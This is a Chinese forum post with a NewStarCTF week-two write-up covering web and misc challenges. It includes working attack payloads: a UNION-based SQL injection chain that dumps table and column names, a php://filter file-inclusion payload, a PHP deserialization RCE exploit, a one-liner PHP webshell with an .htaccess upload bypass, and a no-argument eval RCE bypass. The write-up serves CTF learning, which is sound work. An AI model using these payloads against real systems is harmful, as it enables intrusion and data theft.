NewStarCTF第二周赛题web和misc篇

sbhglqy   ·   发表于 2023-10-16 09:41:05   ·   CTF&WP专版

一、新建Word文档

1.doc文档隐写,将如图所示的设置打开,即可看到文字。

2.新佛曰加密,在线网站解密。(http://hi.pcmoe.net/buddha.html)

二、永不消逝的电波

1.附件是个音频,audacity打开,可以看到明显的长短波。

2.莫斯密码解密即可。
源报文:

..-./.-../.-/--./-/...././-..././.../-/-.-./-/..-././.-./../.../-.--/---/..-/

在线解码。(http://www.all-tool.cn/Tools/morse)

三、1-序章

1.是个日志文件,里面全都是sql盲注的语句。

2.选择每一位判断的最后一个测试语句的值即可。
过滤出的数据

121,111,117,95,119,52,110,116,95,115,51,99,114,101,116,102,108,97,103,123,106,117,115,116,95,119,52,114,109,95,117,112,95,115,48,95,121,111,117,95,110,51,101,100,95,104,52,114,100,101,114,95,54,48,50,54,99,100,51,50,125,44

python写代码进行转换

list = [121, 111, 117, 95, 119, 52, 110, 116, 95, 115, 51, 99, 114, 101, 116, 102, 108, 97, 103, 123, 106, 117, 115,
        116, 95, 119, 52, 114, 109, 95, 117, 112, 95, 115, 48, 95, 121, 111, 117, 95, 110, 51, 101, 100, 95, 104, 52,
        114, 100, 101, 114, 95, 54, 48, 50, 54, 99, 100, 51, 50, 125, 44]
str = ""
for i in list:
    str += chr(i)
print(str)            # you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32},

四、base!

1.文件打开,是169行的base64编码,尝试解码一下。

import base64
with open("base.txt") as f:
    readlines = f.readlines()
    for i in readlines:
        print(base64.b64decode(i))

从结果中看不到flag字样,说明想法错了。
2.但是内容确实是base64编码的结果,这就涉及到base64隐写了,可以通过工具进行提取。(工具放附件)

再将隐写信息进行base58解码即可。

五、WebShell的利用

1.有一个附件,打开。

编写php脚本对其进行解密。

<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('此处省略题目文件中的编码内容')))));";
for($i=0; $i<50; $i++){    
    if(preg_match("/base64/",$shell)){        
        $tmp = preg_replace("/eval/","return ",$shell);        
        $shell = eval($tmp);    
    }else{        
        break;    
    }
}
echo $shell;

最终得到webshell。

error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

2.拿到webshell,下面就是一个简单的远程命令执行。

六、Jvav

1.根据题目提示,参考题目名jvav,可以检阅到java盲水印的知识,可以利用github上的这个项目来提取java盲水印内容。(https://github.com/ww23/BlindWaterMark)

七、游戏高手

1.查看源代码中的app_v2.js文件内容,可以看到在游戏结束的处理时代码如下:

//游戏结束
function gameover(){
    if(gameScore > 100000){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/api.php", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
            alert(response.message);
        }
        };
        var data = {
            score: gameScore,
        };
        xhr.send(JSON.stringify(data));
    }
    alert("成绩:"+gameScore);
    gameScore=0;  
    curPhase =PHASE_READY;  
    hero = null;
    hero = new Hero();          
}

可以看到当分数大于10w分的时候XHR会向api.php发送一个json数据包,json内容如下:

{"score":gameScore}

然后我们可以使用burp来完成发包。

POST /api.php HTTP/1.1
Host: 1e0fed80-3253-4d31-b5b4-8a395ccb9981.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 17
Connection: close

{"score":1000000}

除此之外也可以直接在控制台设置gameScore的值,然后结束游戏就可以获得Flag:

八、include 0。0

1.进入题目给出源码,需要读取flag.php文件,读取PHP文件需要使用 php://filter 协议中的过滤器来对文件内容进行编码,但是这里过滤了base和rot。

highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

还有其他的一些过滤器可以使用,例如convert.iconv系列的过滤器,由此构造Payload:

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

得到flag.php文件经过编码后的内容:

+ADw?php //flag+AHs-ee20fad7-2af6-4ca4-8700-bc584e38a2e3+AH0

可以直接根据Flag格式转换出原本的文件内容,或者找个在线的utf-7转utf-8工具(https://www.novel.tools/decode/UTF-7)

九、ez_sql

1.随便可以点个链接,发现有传参值id。

2.大概率存在sql注入,给id传 TMP0919’# ,可以查出结果,说明存在注入。#要编码成%23。

查询的信息可以回显,说明是union注入,然后要判断字段数。

?id=TMP0919' Order by 1#

从1一直递增,递增到6时,页面不回显,说明字段数是5。


判断显错位

?id=1' uNion Select 1,2,3,4,5#


查询表名

?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23


查询字段名

?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23


查询Flag值:

?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23

十、Unserialize?

1.进入题目给出源码,思路很简单,只需要设置evil类中cmd成员的值然后反序列化触发__destruct析构函数即可触发RCE。

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}
@unserialize($_POST['unser']);
?>

RCE的绕过也很简单,过滤了一些读取文件的命令,但是仍然很多命令可以用,例如head。
需要注意的是这里的cmd是private属性的,因此需要对序列化字符串进行urlencode,构造Exp如下:

<?php
class evil {    
    private $cmd = 'head /th1s_1s_fffflllll4444aaaggggg';
}
echo urlencode(serialize(newevil));//O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head%20%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

注意要把命令中的加号替换为%20或者空格。

十一、Upload again!

本题主要考点是绕过后端对后缀名的限制,apache解析漏洞,绕过对文件内容的检测
1.上传一个一句话木马,但是后缀为jpg格式,上传成功,但是访问不能将其解析为php。

2.抓包,尝试修改上传的内容为如下内容,来绕过<?的过滤

<script language="php">@eval($_REQUEST['8']);</script>


然后上传.htaccess文件,让服务器把.jpg文件当成php解析。

AddType application/x-httpd-php .jpg


然后再访问上传的3.jpg,执行一句话木马。

十二、R!!C!!E!!

1.首先看到提示有信息泄露,可以使用dirsearch扫,扫出了 /.git 。


2.使用GitHack工具获取源码。

扫出index.php,就是主页的源码,没有有效信息,还有一个bo0g1pop.php ,代码如下:

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。
第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。

用户名金币积分时间理由
Track-魔方 400.00 0 2023-10-16 21:09:03 深度 100 普适 100 可读 200

打赏我,让我更有动力~

附件列表

1.zip   文件大小:1.029M (下载次数:0)

base64隐写.zip   文件大小:34.006M (下载次数:0)

0 条回复   |  直到 6个月前 | 250 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.